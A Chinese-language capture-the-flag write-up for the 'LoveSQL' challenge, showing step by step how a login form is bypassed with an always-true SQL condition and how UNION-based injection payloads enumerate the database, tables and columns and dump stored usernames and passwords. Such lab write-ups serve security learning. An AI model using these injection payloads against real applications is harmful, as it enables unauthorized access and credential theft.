[极客大挑战 2019]LoveSQL 1

    科技2026-02-20  5

    打开页面发现这是一个登录页面,尝试使用万能密码绕过登录,接着就该判断它的闭合方式是什么了,用户名输入admin’ 发现页面报错,此时就可以确定是用单引号进行闭合的了。 接着构造payload对登录进行绕过,

    admin' or '1'='1 # 123

    成功对登录进行绕过 然后发现一个32位的字符串,对它进行MD5解密(以为解密就可以得到flag),结果什么也没有得到。

    看来只能是通过SQL注入来得到flag了。

    1. 判断字段数

    /check.php?username=admin' order by 3%23&password=123

    利用二分法进行判断,最后发现order by 3 没有报错,此时就猜解到该数据表有3个字段名

    2.判断显示位

    payload:/check.php?username=-1' union select 1,2,3%23&password=123

    可以判断,用户名是第二个字段名,密码是第三个字段名,我们可以利用2和3任何一个位置进行后续的注入

    3.接着判断数据库

    payload:/check.php?username=-1' union select 1,database(),3%23&password=123

    可以看到使用的数据库名为:geek

    4.判断表名

    payload:check.php?username=-1' union select 1,(select table_name from information_schema.tables where table_schema='geek' limit 0,1),3%23&password=123

    判断出第一个表名geekuser,然后通过修改limit的参数得到另一个表名l0ve1ysq1

    5.判断字段名(使用l0ve1ysq1表)

    payload:/check.php?username=-1' union select 1,(select column_name from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' limit 0,1),3%23&password=123

    还是通过修改limit的参数来获得其他的字段名,最终得到有id,username,password三个字段

    6.获取字段内容

    payload:/check.php?username=-1’ union select 1,(select password from geek.l0ve1ysq1 limit 15,1),3%23&password=123 自此的到了flag。

    **

    注:

    ** 使用limit一个一个往出爆对于小的数据库是方便的,但是对于大型的数据库,使用limit就太慢了,可以使用group_concat()

    爆数据表

    payload:/check.php?username=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek' ),3%23&password=123

    爆字段名

    payload:/check.php?username=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' ),3%23&password=123

    爆字段内容

    payload:/check.php?username=-1' union select 1,2,(select group_concat(username,password) from geek.l0ve1ysq1 )%23&password=123

    Processed: 0.009, SQL: 9